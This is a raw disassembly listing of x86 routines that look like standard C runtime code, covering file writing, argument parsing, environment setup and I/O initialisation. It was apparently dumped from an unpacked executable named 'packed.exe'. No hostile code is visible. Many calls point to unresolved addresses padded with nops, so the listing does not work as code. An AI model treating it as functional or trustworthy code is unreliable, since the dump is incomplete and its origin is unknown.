edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 27007FFh test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDEC, 9 mov dword_4DBDF0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j nop call near ptr 26808B7h mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 27007FFh nop test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j call near ptr 26808B7h nop mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDEC, 1Ch mov dword_4DBDF0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDF0, 0 mov dword_4DBDEC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE88, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi nop call near ptr 2630000h test eax, eax jz short loc_4232FC mov dword_4DBE88, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB89C push esi push edi nop call near ptr 2640000h test eax, eax jz loc_423436 mov dword_4DBE88, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE88 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBEA4 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 26F0000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 26F0000h test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2830000h mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBEAC mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBEAC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4D0 mov edx, dword_43D4D4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D460h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4DC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4DC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4DC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4DC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4DC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4DC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4DC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4DC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4DC push 8 call ebx pop ecx mov dword_43D4DC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBEAC, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] call near ptr 2620779h nop loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4D8 cmp dword_43D458, edx push esi mov eax, offset dword_43D458 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D458h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D458h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD3B4, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD3AC mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD3B4, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE44 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE14, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE44 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE44 call sub_41BA91 pop ecx mov dword_4DBE44, ebx mov [esi], ebx pop edi pop esi mov dword_4DD3B0, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD3B4, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2670000h nop mov eax, dword_4DD3AC mov off_4DBE24, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBE0C, esi pop edi pop esi mov dword_4DBE08, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD281[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD281[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD281[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD281[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFB4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFB4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj nop call near ptr 262035Fh mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFB4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi call near ptr 2620660h nop mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 nop call near ptr 262035Fh mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi call near ptr 262069Fh nop mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD060, esi mov dword_4DD160, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD060 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax call near ptr 2870000h nop cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD160, esi jge short loc_423BEF mov edi, offset dword_4DD064 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD160, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD160, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD160 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax call near ptr 2610755h nop test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD060[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD060 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h 